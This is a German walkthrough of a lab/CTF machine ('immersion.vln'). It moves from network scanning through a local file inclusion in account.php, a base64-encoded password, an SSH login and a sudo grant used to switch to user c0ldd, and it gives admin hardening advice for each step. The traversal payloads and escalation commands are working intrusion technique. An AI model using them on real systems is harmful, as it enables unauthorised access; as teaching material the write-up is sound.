Analyse: Die Reconnaissance-Phase beginnt mit der Identifizierung aktiver Hosts im lokalen Netzwerk. Das Tool `arp-scan` wird verwendet, um ARP-Anfragen zu senden und auf Antworten zu warten. Dies ist eine effektive Methode, um schnell Geräte im selben Subnetz zu finden, ohne auf ICMP-Antworten (Ping) angewiesen zu sein, die möglicherweise blockiert werden.
192.168.2.119 08:00:27:22:e5:01 PCS Systemtechnik GmbH
Bewertung: Ein Host mit der IP-Adresse 192.168.2.119 wurde identifiziert. Die MAC-Adresse (08:00:27:22:e5:01) und der Hersteller (PCS Systemtechnik GmbH, oft mit Oracle VirtualBox assoziiert) deuten darauf hin, dass es sich wahrscheinlich um unser Ziel, eine virtuelle Maschine, handelt. Dies ist ein erfolgreicher erster Schritt, um das Zielsystem zu lokalisieren.
Empfehlung (Pentester): Die gefundene IP-Adresse sollte als primäres Ziel für die weiteren Scans festgelegt werden. Notieren Sie die MAC-Adresse für eventuelle spätere Identifizierungen oder Filterungen.
Empfehlung (Admin): Netzwerksegmentierung und Monitoring von ARP-Traffic können helfen, unautorisierte Geräte oder Scans frühzeitig zu erkennen. Sicherstellen, dass keine unnötigen Dienste oder VMs im Netzwerk aktiv sind.
Analyse: Um die Interaktion mit dem Zielsystem zu vereinfachen und potenzielle virtuelle Host-Konfigurationen auf dem Webserver zu berücksichtigen, wird der `/etc/hosts`-Datei auf dem Angreifersystem ein Eintrag hinzugefügt. Der Befehl `vi /etc/hosts` öffnet die Datei im Texteditor `vi`, um die IP-Adresse `192.168.2.119` dem Hostnamen `immersion.vln` zuzuordnen.
# Inhalt der Datei nach der Bearbeitung (Auszug):
192.168.2.119 immersion.vln
Bewertung: Durch diesen Eintrag können wir das Zielsystem nun über den Namen `immersion.vln` ansprechen. Dies ist besonders nützlich für Web-Scans, da Webserver oft unterschiedlich reagieren, je nachdem, welcher Hostname in der HTTP-Anfrage verwendet wird. Die Verwendung eines sinnvollen Namens verbessert die Lesbarkeit der Befehle und Berichte.
Empfehlung (Pentester): Immer prüfen, ob Webserver auf bestimmte Hostnamen reagieren. Die `/etc/hosts`-Datei ist ein schnelles Mittel dafür. Bei größeren Umgebungen können lokale DNS-Server oder Proxies hilfreich sein.
Empfehlung (Admin): Die Konfiguration virtueller Hosts sollte dokumentiert und sicher sein. Es sollte keine Abhängigkeit von clientseitigen `/etc/hosts`-Einträgen für die normale Funktionalität bestehen.
Analyse: Ein erster schneller Port-Scan mit `nmap` wird durchgeführt, um offene Ports zu identifizieren. Die Optionen `-sS` (SYN-Scan, schnell und unauffällig), `-sC` (Standard-Skripte), `-sV` (Versionserkennung), `-T5` (sehr aggressives Timing), `-A` (aggressive Optionen, inkl. OS-Erkennung, Versionserkennung, Skript-Scan, Traceroute) und `-p-` (alle 65535 TCP-Ports) werden verwendet. Die Ausgabe wird mit `grep open` gefiltert, um nur die offenen Ports anzuzeigen.
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
3042/tcp open ssh penSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
Bewertung: Der Scan identifiziert zwei offene TCP-Ports: Port 80 (HTTP) mit einem Apache-Webserver Version 2.4.18 und Port 3042 (SSH) mit OpenSSH Version 7.2p2. Beide Dienste sind potenzielle Angriffsvektoren. Die spezifischen Versionen (Apache 2.4.18, OpenSSH 7.2p2) sind bekannt und könnten bekannte Schwachstellen aufweisen. Der ungewöhnliche Port 3042 für SSH ist ebenfalls ein interessantes Detail.
Empfehlung (Pentester): Die Webanwendung auf Port 80 sollte gründlich untersucht werden (Enumeration, Schwachstellenscans). Der SSH-Dienst auf Port 3042 ist ein potenzielles Ziel für Brute-Force-Angriffe oder die Ausnutzung von Konfigurationsfehlern, sobald Anmeldedaten gefunden werden. Die spezifischen Versionen sollten auf bekannte Exploits überprüft werden.
Empfehlung (Admin): Veraltete Softwareversionen (Apache 2.4.18, OpenSSH 7.2p2) sollten dringend aktualisiert werden, um bekannte Schwachstellen zu schließen. Die Verwendung nicht standardmäßiger Ports für Dienste wie SSH kann die Erkennung durch automatisierte Scanner erschweren, bietet aber keine echte Sicherheit ('Security through Obscurity'). Der Zugriff auf SSH sollte idealerweise auf bestimmte IP-Adressen beschränkt und durch starke Authentifizierung (z.B. Schlüsselpaare) gesichert werden.
Analyse: Der gleiche `nmap`-Scan wird erneut ausgeführt, diesmal jedoch ohne `grep`, um die vollständige Ausgabe zu erhalten. Dies liefert detailliertere Informationen über die erkannten Dienste, das Betriebssystem und die Netzwerktopologie.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 15:07 CEST
Nmap scan report for immersion.vln (192.168.2.119)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Immersion
|_http-server-header: Apache/2.4.18 (Ubuntu)
3042/tcp open ssh penSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c7:43:9b:1e:c2:a8:27:6b:c2:bc:58:a9:4d:6d:4e:14 (RSA)
| 256 60:99:c2:87:ea:6a:14:75:e1:b4:6f:93:4f:9b:fd:89 (ECDSA)
|_ 256 7f:b2:4a:f2:ec:db:a5:87:45:92:2f:13:2e:5e:74:bd (ED25519)
MAC Address: 08:00:27:22:E5:01 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel
TRACERUTE
HP RTT ADDRESS
1 0.11 ms immersion.vln (192.168.2.119)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.34 seconds
Bewertung: Die vollständige Ausgabe bestätigt die Ergebnisse des vorherigen Scans und liefert zusätzliche Details:
Empfehlung (Pentester): Die gesammelten Informationen (Titel, OS, Kernel-Versionen) können für gezielte Suchen nach Exploits genutzt werden. Die SSH-Hostkeys können gespeichert werden, um Man-in-the-Middle-Angriffe zu erkennen.
Empfehlung (Admin): Sicherstellen, dass keine unnötigen Informationen preisgegeben werden (z.B. detaillierte Server-Header, genaue OS-Versionen). Regelmäßige Updates des Betriebssystems und aller Dienste sind essenziell.
Analyse: Das Tool `nikto` wird verwendet, um die Webanwendung auf Port 80 (`-h 192.168.2.119`) auf bekannte Schwachstellen, Fehlkonfigurationen und interessante Dateien oder Verzeichnisse zu scannen. Nikto ist ein spezialisierter Webserver-Scanner.
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.119
+ Target Hostname: 192.168.2.119
+ Target Port: 80
+ Start Time: 2023-06-30 15:06:39 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 191, size: 5bdc3cfe689af, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD .
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2023-06-30 15:06:49 (GMT2) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Bewertung: Nikto liefert mehrere wichtige Erkenntnisse:
Empfehlung (Pentester): Das `/css/`-Verzeichnis manuell untersuchen. Die fehlenden Sicherheitsheader und die veraltete Apache-Version als Schwachstellen dokumentieren. Die ETag-Informationen könnten für spezifischere Angriffe nützlich sein, sind aber oft von geringerem praktischem Wert.
Empfehlung (Admin): Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc.) implementieren. Apache auf die neueste stabile Version aktualisieren. Directory Indexing global deaktivieren (z.B. durch `Options -Indexes` in der Apache-Konfiguration). Standarddateien wie `/icons/README` entfernen oder den Zugriff darauf beschränken.
Analyse: Das Tool `gobuster` wird für ein Directory/File Brute-Forcing eingesetzt. Mit `dir` wird der Directory/File-Modus gewählt. `-u http://immersion.vln` spezifiziert das Ziel. `-x` definiert eine Liste von Dateiendungen, nach denen zusätzlich gesucht werden soll. `-w` gibt den Pfad zur Wordlist an (hier eine mittelgroße Liste aus SecLists). `-b '403,404'` blendet die HTTP-Statuscodes 403 (Forbidden) und 404 (Not Found) aus, um die Ausgabe übersichtlicher zu gestalten. `-e` sucht nach vollständigen URLs (z.B. `verzeichnis/datei.php` statt nur `verzeichnis`). `--no-error` unterdrückt die Anzeige von Verbindungsfehlern.
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://immersion.vln
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak
[+] Expanded: true
[+] No error: true
[+] Timeout: 10s
===============================================================
2023/06/30 15:10:15 Starting gobuster
===============================================================
http://immersion.vln/index.html (Status: 200) [Size: 401]
http://immersion.vln/login (Status: 301) [Size: 314] [--> http://immersion.vln/login/]
http://immersion.vln/css (Status: 301) [Size: 312] [--> http://immersion.vln/css/]
http://immersion.vln/wp (Status: 301) [Size: 311] [--> http://immersion.vln/wp/]
http://immersion.vln/secure (Status: 301) [Size: 315] [--> http://immersion.vln/secure/]
http://immersion.vln/js (Status: 301) [Size: 311] [--> http://immersion.vln/js/]
===============================================================
2023/06/30 15:11:45 Finished
===============================================================
Bewertung: Gobuster hat mehrere interessante Verzeichnisse gefunden: `/login/`, `/css/`, `/wp/`, `/secure/`, `/js/`. Die Statuscodes 301 (Moved Permanently) zeigen an, dass es sich um Verzeichnisse handelt und der Server auf die Version mit abschließendem Schrägstrich weiterleitet. Die Verzeichnisse `/login/`, `/wp/` und `/secure/` sind besonders hervorzuheben und erfordern eine genauere manuelle Untersuchung. `/wp/` könnte auf eine (möglicherweise unvollständige oder geplante) WordPress-Installation hindeuten. `/login/` impliziert eine Authentifizierungsfunktion. `/secure/` klingt nach einem Bereich mit potenziell sensiblen Inhalten.
Empfehlung (Pentester): Die gefundenen Verzeichnisse (`/login/`, `/wp/`, `/secure/`) im Browser manuell aufrufen und untersuchen. Weitere Scans (z.B. erneutes Gobuster) gezielt auf diese Unterverzeichnisse anwenden. Auf Standard-Anmeldedaten oder Hinweise in den Seiteninhalten achten.
Empfehlung (Admin): Sicherstellen, dass keine unnötigen Verzeichnisse oder Dateien über das Web zugänglich sind. Verzeichnisse, die nicht öffentlich sein sollen, sollten durch Zugriffskontrollen (z.B. `.htaccess` oder Serverkonfiguration) geschützt werden. Wenn WordPress verwendet wird, sicherstellen, dass es aktuell ist und sicher konfiguriert wurde.
Analyse: Die manuelle Untersuchung der zuvor gefundenen Verzeichnisse beginnt. Zuerst wird die Seite unter `http://immersion.vln/login/` aufgerufen.
Bewertung: Auf der Login-Seite werden die Standard-Anmeldedaten `admin:admin` direkt im Quellcode oder als Kommentar gefunden. Dies ist eine schwerwiegende Sicherheitslücke. Es wird auch eine URL sichtbar: `http://immersion.vln/login/account.php?user=admin&pass=admin`. Diese URL scheint die Anmeldedaten als GET-Parameter zu verwenden, was ebenfalls unsicher ist.
Empfehlung (Pentester): Die gefundenen Anmeldedaten (`admin:admin`) für den Login über das Formular verwenden. Die `account.php`-Seite direkt mit den Parametern aufrufen und auf weitere Schwachstellen (z.B. Parameter-Manipulation, LFI/RFI) untersuchen.
Empfehlung (Admin): Niemals Standard-Anmeldedaten verwenden oder Anmeldedaten im Klartext im Quellcode oder in URLs hinterlegen. Authentifizierung sollte immer über POST-Requests mit HTTPS erfolgen. Implementieren Sie Mechanismen gegen Brute-Force-Angriffe (z.B. Captchas, Account-Sperrungen).
Analyse: Es wird versucht, sich über SSH auf Port 3042 mit dem Benutzer `root` anzumelden. Standardpasswörter oder das zuvor gefundene `admin`-Passwort werden erfolglos getestet.
The authenticity of host '[immersion.vln]:3042 ([192.168.2.119]:3042)' can't be established.
ED25519 key fingerprint is SHA256:neP7dUnYL4U5Schh2vG9c4wovonMgelj49fj/80QoA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[immersion.vln]:3042' (ED25519) to the list of known hosts.
root@immersion.vln's password:
Permission denied, please try again.
root@immersion.vln's password:
Permission denied, please try again.
root@immersion.vln's password:
root@immersion.vln: Permission denied (publickey,password).
Bewertung: Der direkte Root-Login über SSH ist nicht möglich oder zumindest nicht mit einfachen Passwörtern. Die Meldung "Permission denied (publickey,password)" zeigt, dass sowohl Passwort- als auch Schlüsselauthentifizierung fehlschlagen. Dies ist eine gute Sicherheitspraxis, da der direkte Root-Login oft deaktiviert wird.
Empfehlung (Pentester): Den Root-Login vorerst nicht weiter verfolgen. Sich auf die Suche nach Anmeldedaten für reguläre Benutzer konzentrieren.
Empfehlung (Admin): Den direkten Root-Login über SSH (`PermitRootLogin no` in `sshd_config`) deaktivieren. Nur Schlüsselauthentifizierung zulassen (`PasswordAuthentication no`).
Analyse: Das Verzeichnis `http://immersion.vln/wp/` wird aufgerufen.
Bewertung: Die Seite enthält keine WordPress-Installation, sondern eine Nachricht von 'c0ldd' an 'Carls'. Diese Nachricht ist ein entscheidender Hinweis:
Empfehlung (Pentester): Versuchen, die Datei `/var/carls.txt` über mögliche Schwachstellen wie Local File Inclusion (LFI) oder Directory Traversal zu lesen. Die `account.php`-Seite aus dem `/login/`-Verzeichnis ist ein Hauptverdächtiger für eine solche Schwachstelle.
Empfehlung (Admin): Niemals sensible Informationen oder Hinweise auf interne Dateipfade oder Benutzernamen in öffentlich zugänglichen Webseiten hinterlassen. Jegliche Form von Hinweisen, die Angreifern helfen könnten, sollte vermieden werden. Input-Validierung und Bereinigung sind entscheidend, um LFI/Directory Traversal zu verhindern.
Analyse: Basierend auf dem Hinweis aus der `/wp/`-Nachricht wird versucht, direkt auf die Datei `carls.txt` über verschiedene Webpfade zuzugreifen. Es wird auch versucht, eine Local File Inclusion (LFI)-Schwachstelle in der zuvor identifizierten `account.php`-Seite auszunutzen. Es werden verschiedene Parameter (`file`, `page`) und Pfade (`../../../carls.txt`) getestet.
Bewertung: Die direkten Zugriffsversuche auf `carls.txt` schlagen fehl (Not Found). Der Versuch, die LFI-Schwachstelle mit dem Parameter `file` auszunutzen (`account.php?user=admin&pass=admin&file=../../../carls.txt`), scheitert ebenfalls. Jedoch ist der Versuch mit dem Parameter `page` erfolgreich: `http://immersion.vln/login/account.php?page=../../../carls.txt` gibt den Inhalt der Datei preis. Der Inhalt ist `carls:Y2FybG9z`. Dies ist ein klassisches Beispiel für eine LFI-Schwachstelle, bei der der `page`-Parameter nicht ausreichend validiert wird und das Lesen von Dateien außerhalb des Web-Root-Verzeichnisses ermöglicht.
Empfehlung (Pentester): Den gefundenen Wert `Y2FybG9z` dekodieren, da er Base64-kodiert zu sein scheint. Die LFI-Schwachstelle weiter untersuchen, um möglicherweise andere sensible Dateien (z.B. `/etc/passwd`, Konfigurationsdateien, SSH-Schlüssel) zu lesen.
Empfehlung (Admin): Die LFI-Schwachstelle in `account.php` sofort beheben. Implementieren Sie eine strikte Eingabevalidierung für alle Parameter, die Dateipfade beeinflussen könnten. Idealerweise sollten keine Benutzereingaben direkt in Dateipfadoperationen verwendet werden. Verwenden Sie Whitelisting für erlaubte Dateien oder Pfade statt Blacklisting. PHP-Konfiguration härten (z.B. `open_basedir` setzen).
Analyse: Der aus der Datei `/var/carls.txt` mittels LFI extrahierte String `Y2FybG9z` wird als Base64-kodiert vermutet. Der Befehl `echo -n "Y2FybG9z" | base64 -d` wird verwendet, um ihn zu dekodieren. `echo -n` gibt den String ohne abschließenden Zeilenumbruch aus, was wichtig für die korrekte Base64-Dekodierung ist. Die Ausgabe wird an den `base64 -d`-Befehl weitergeleitet, der die Dekodierung vornimmt.
carlos
Bewertung: Die Dekodierung ist erfolgreich und ergibt das Passwort `carlos`. Zusammen mit dem Benutzernamen `carls` (aus dem Dateinamen `carls.txt` und der Nachricht) haben wir nun gültige Anmeldedaten für das Zielsystem.
Empfehlung (Pentester): Die Anmeldedaten `carls`:`carlos` verwenden, um sich über SSH auf Port 3042 anzumelden.
Empfehlung (Admin): Passwörter niemals, auch nicht kodiert, in Dateien speichern, die potenziell über Web-Schwachstellen zugänglich sind. Base64 ist eine Kodierung, keine Verschlüsselung, und bietet keinerlei Sicherheit. Sichere Passwort-Speicherungsmechanismen (Hashing mit Salt) verwenden. Die LFI-Schwachstelle, die diesen Zugriff ermöglichte, muss behoben werden.
Analyse: Mit den gewonnenen Anmeldedaten wird versucht, sich per SSH als Benutzer `carls` auf dem Zielsystem (`immersion.vln`) auf dem nicht standardmäßigen Port 3042 anzumelden. Das zuvor dekodierte Passwort `carlos` wird eingegeben.
carls@immersion.vln's password: ****
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-186-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Pueden actualizarse 116 paquetes.
80 actualizaciones son de seguridad.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
carls@Immersion$
Bewertung: Der SSH-Login ist erfolgreich! Wir haben nun eine interaktive Shell auf dem Zielsystem als Benutzer `carls`. Die Willkommensnachricht zeigt, dass es sich um ein Ubuntu 16.04.7 LTS System handelt und viele Pakete aktualisiert werden können, darunter 80 Sicherheitsupdates. Dies ist ein signifikanter Fortschritt im Pentest – der initiale Zugriff wurde erlangt.
Empfehlung (Pentester): Die Shell nutzen, um das System weiter zu erkunden (Enumeration). Insbesondere nach Möglichkeiten zur Privilegienerweiterung suchen (z.B. `sudo -l`, SUID-Binaries, Cronjobs, Kernel-Exploits). Informationen über andere Benutzer, Konfigurationsdateien und laufende Prozesse sammeln.
Empfehlung (Admin): Die hohe Anzahl ausstehender Sicherheitsupdates ist kritisch und muss dringend eingespielt werden. Die Kompromittierung des `carls`-Kontos (aufgrund der LFI und des unsicher gespeicherten Passworts) sollte untersucht und das Passwort geändert werden. SSH-Zugriff sollte, wenn möglich, auf vertrauenswürdige IPs beschränkt und idealerweise nur mit Schlüsselpaaren erlaubt werden.
Analyse: Nach dem erfolgreichen Login als `carls` wird der Befehl `sudo -l` ausgeführt. Dieser Befehl listet die Befehle auf, die der aktuelle Benutzer (`carls`) mit `sudo` (also potenziell mit den Rechten anderer Benutzer) ausführen darf. Das Passwort von `carls` (`carlos`) muss erneut eingegeben werden.
[sudo] password for carls: ****
Coincidiendo entradas por defecto para carls en Immersion:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
El usuario carls puede ejecutar los siguientes comandos en Immersion:
(c0ldd : c0ldd) /bin/bash
Bewertung: Die Ausgabe von `sudo -l` ist äußerst interessant. Sie zeigt, dass der Benutzer `carls` den Befehl `/bin/bash` als der Benutzer `c0ldd` ausführen darf. Dies bedeutet, dass `carls` eine Shell mit den Rechten des Benutzers `c0ldd` starten kann, ohne das Passwort von `c0ldd` kennen zu müssen. Dies ist ein direkter Pfad zur horizontalen Privilegienerweiterung (Wechsel zu einem anderen Benutzer auf derselben Ebene oder einer etwas höheren Ebene). Der Benutzer `c0ldd` war der Absender der Nachricht im `/wp/`-Verzeichnis.
Empfehlung (Pentester): Den `sudo`-Eintrag sofort ausnutzen, um eine Shell als `c0ldd` zu erhalten: `sudo -u c0ldd /bin/bash`. Anschließend als `c0ldd` weiter nach Möglichkeiten zur vertikalen Privilegienerweiterung (zu `root`) suchen.
Empfehlung (Admin): Überprüfen Sie sorgfältig die `sudoers`-Konfiguration. Das Gewähren von `/bin/bash` (oder anderen Shells) über `sudo` ist extrem gefährlich und sollte nur in absolut notwendigen Fällen und mit größter Vorsicht erfolgen. Hier hätte `carls` niemals die Erlaubnis haben dürfen, eine Shell als `c0ldd` zu starten. Prinzip der geringsten Rechte anwenden.
Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` wird ausgeführt, um nach Dateien (`-type f`) im gesamten Dateisystem (`/`) zu suchen, die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit erlaubt es einem Benutzer, eine Datei mit den Rechten des Dateibesitzers (oft `root`) auszuführen. `-ls` zeigt detaillierte Informationen zu den gefundenen Dateien an. `2>/dev/null` leitet Fehlermeldungen (z.B. "Permission denied" beim Zugriff auf bestimmte Verzeichnisse) ins Nichts um, um die Ausgabe sauber zu halten.
391018 28 -rwsr-xr-x 1 root root 27608 ene 27 2020 /bin/umount
390985 44 -rwsr-xr-x 1 root root 44680 may 7 2014 /bin/ping6
390984 44 -rwsr-xr-x 1 root root 44168 may 7 2014 /bin/ping
391001 40 -rwsr-xr-x 1 root root 40128 mar 26 2019 /bin/su
390974 40 -rwsr-xr-x 1 root root 40152 ene 27 2020 /bin/mount
402396 32 -rwsr-xr-x 1 root root 30800 jul 12 2016 /bin/fusermount
149468 420 -rwsr-xr-x 1 root root 428240 may 26 2020 /usr/lib/openssh/ssh-keysign
150300 112 -rwsr-xr-x 1 root root 110792 jul 10 2020 /usr/lib/snapd/snap-confine
150207 16 -rwsr-xr-x 1 root root 14864 mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
402223 44 -rwsr-xr-- 1 root messagebus 42992 jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
148697 84 -rwsr-xr-x 1 root root 84120 abr 9 2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
130830 12 -rwsr-xr-x 1 root root 10232 mar 27 2017 /usr/lib/eject/dmcrypt-get-device
130526 72 -rwsr-xr-x 1 root root 71824 mar 26 2019 /usr/bin/chfn
148715 36 -rwsr-xr-x 1 root root 32944 mar 26 2019 /usr/bin/newgidmap
149706 52 -rwsr-sr-x 1 daemon daemon 51464 ene 14 2016 /usr/bin/at
130643 40 -rwsr-xr-x 1 root root 39904 mar 26 2019 /usr/bin/newgrp
130584 76 -rwsr-xr-x 1 root root 75304 mar 26 2019 /usr/bin/gpasswd
130733 136 -rwsr-xr-x 1 root root 136808 ene 31 2020 /usr/bin/sudo
130528 40 -rwsr-xr-x 1 root root 40432 mar 26 2019 /usr/bin/chsh
130653 56 -rwsr-xr-x 1 root root 54256 mar 26 2019 /usr/bin/passwd
150211 24 -rwsr-xr-x 1 root root 23376 mar 27 2019 /usr/bin/pkexec
148716 36 -rwsr-xr-x 1 root root 32944 mar 26 2019 /usr/bin/newuidmap
Bewertung: Die Liste zeigt viele Standard-Linux-Programme, die typischerweise das SUID-Bit gesetzt haben (`mount`, `su`, `ping`, `passwd`, `sudo`, etc.). Auf den ersten Blick sind keine ungewöhnlichen oder benutzerdefinierten SUID-Binaries zu sehen, die direkt für eine Privilegienerweiterung missbraucht werden könnten. Die Suche nach SUID-Binaries ist jedoch ein wichtiger Standard-Enumerationsschritt.
Empfehlung (Pentester): Die Liste der SUID-Binaries zur Kenntnis nehmen. Obwohl hier kein offensichtlicher Vektor sichtbar ist, könnten bekannte Schwachstellen in den spezifischen Versionen dieser Tools existieren (obwohl dies auf einem gepatchten System unwahrscheinlich ist). Konzentrieren Sie sich auf den vielversprechenderen `sudo`-Pfad.
Empfehlung (Admin): Regelmäßig überprüfen, welche Dateien das SUID/SGID-Bit gesetzt haben. Unnötige SUID/SGID-Berechtigungen entfernen. Sicherstellen, dass die Dateisysteme mit der `nosuid`-Option gemountet werden, wo immer dies möglich ist (z.B. für `/tmp`, `/home`, `/var`).
Analyse: Der Befehl `getcap -r / 2>/dev/null` wird verwendet, um nach Dateien mit gesetzten Linux Capabilities zu suchen. Capabilities bieten eine feingranularere Rechteverwaltung als das SUID-Bit. `-r` durchsucht rekursiv das gesamte Dateisystem (`/`). `2>/dev/null` unterdrückt Fehlermeldungen.
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr = cap_net_raw+ep
Bewertung: Es werden einige Standarddateien mit Capabilities gefunden (`systemd-detect-virt`, `traceroute6.iputils`, `mtr`), die erhöhte Rechte für spezifische Netzwerkoperationen oder Systemabfragen benötigen. Keine dieser Capabilities scheint unmittelbar für eine Privilegienerweiterung missbrauchbar zu sein, insbesondere nicht die oft gesuchte `cap_setuid+ep`.
Empfehlung (Pentester): Die gefundenen Capabilities zur Kenntnis nehmen. GTFOBins oder ähnliche Ressourcen prüfen, ob bekannte Techniken zur Ausnutzung dieser spezifischen Binaries mit diesen Capabilities existieren. Fokus weiterhin auf den `sudo`-Pfad legen.
Empfehlung (Admin): Das Prinzip der geringsten Rechte auch bei Capabilities anwenden. Nur die absolut notwendigen Capabilities für eine Anwendung setzen. Regelmäßig überprüfen, welche Capabilities gesetzt sind.
Analyse: Es werden einige grundlegende Dateisystemoperationen und Überprüfungen durchgeführt: `ls -la /etc/passwd` prüft die Berechtigungen der Passwortdatei. Anschließend wird in das Verzeichnis `/var/www/html/secure` gewechselt und dessen Inhalt (`index.html`) sowie der Inhalt des `/login`-Verzeichnisses und der `account.php`-Datei angezeigt.
-rw-r--r-- 1 root root 1608 mar 17 2021 /etc/passwd
total 16
drwxr-xr-x 2 root root 4096 mar 17 2021 ./
drwxr-xr-x 7 root root 4096 mar 17 2021 ../
-rw-r--r-- 1 root root 73 mar 17 2021 account.php
-rw-r--r-- 1 root root 1459 mar 17 2021 index.html
$file=$GET['page'];
include('/var/www/html/login/' . $file);
Bewertung: Die Berechtigungen von `/etc/passwd` sind Standard und erlauben Lesezugriff für alle Benutzer. Die Untersuchung der Webverzeichnisse bestätigt die Dateistruktur. Besonders wichtig ist der Inhalt von `account.php`: ``. Dieser Code nimmt den Wert des `page`-Parameters aus der URL (`$_GET['page']`) und fügt ihn direkt in einen `include()`-Aufruf ein. Dies bestätigt die zuvor ausgenutzte LFI-Schwachstelle auf Code-Ebene. Es gibt keinerlei Validierung oder Bereinigung des `$file`-Parameters, was das Lesen beliebiger Dateien (wie `/var/carls.txt` durch `../../../var/carls.txt`) ermöglichte.
Empfehlung (Pentester): Die Kenntnis des exakten LFI-Codes ist nützlich, um das volle Potenzial der Schwachstelle zu verstehen (z.B. ob auch Remote File Inclusion möglich wäre, falls `allow_url_include` aktiv ist, oder ob PHP-Filter-Wrapper verwendet werden können). Da der initiale Zugriff bereits erfolgt ist, hat dies jedoch keine unmittelbare Priorität mehr.
Empfehlung (Admin): Die LFI-Schwachstelle muss dringend behoben werden (siehe vorherige Empfehlung zur LFI). Der Code sollte so umgeschrieben werden, dass er keine rohen Benutzereingaben in Dateipfade einfügt. Eine Whitelist von erlaubten Seiten wäre eine sicherere Alternative.
Analyse: Der zuvor identifizierte `sudo`-Befehl wird nun ausgeführt, um eine Shell als Benutzer `c0ldd` zu erhalten. Danach wird in das Heimatverzeichnis von `c0ldd` gewechselt (`cd ~`) und dessen Inhalt sowie die Bash-History (`cat .bash_history`) angezeigt.
Coincidiendo entradas por defecto para carls en Immersion:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
El usuario carls puede ejecutar los siguientes comandos en Immersion:
(c0ldd : c0ldd) /bin/bash
c0ldd@Immersion:/var/backups$
c0ldd@Immersion$
total 28
drwxr-xr-x 3 carls carls 4096 jun 30 07:46 .
drwxr-xr-x 4 root root 4096 mar 17 2021 ..
-rw-rw-r-- 1 carls carls 6 mar 17 2021 .bash_history
-rw-r--r-- 1 carls carls 220 mar 17 2021 .bash_logout
-rw-r--r-- 1 carls carls 3771 mar 17 2021 .bashrc
drwx 2 carls carls 4096 jun 30 07:46 .cache
-rw-r--r-- 1 carls carls 655 mar 17 2021 .profile
exit
Bewertung: Der Wechsel zum Benutzer `c0ldd` war erfolgreich, angezeigt durch den geänderten Prompt `c0ldd@Immersion$`. Die Untersuchung des Heimatverzeichnisses von `c0ldd` zeigt jedoch überraschenderweise, dass die meisten Dateien und Verzeichnisse dem Benutzer `carls` gehören. Die `.bash_history` ist minimal und enthält nur `exit`. Dies deutet darauf hin, dass das Heimatverzeichnis von `c0ldd` möglicherweise nicht korrekt konfiguriert ist oder dass `carls` zuvor Schreibrechte darauf hatte. Unabhängig davon sind wir nun als `c0ldd` angemeldet und können die Privilegienerweiterung aus dieser neuen Perspektive fortsetzen.
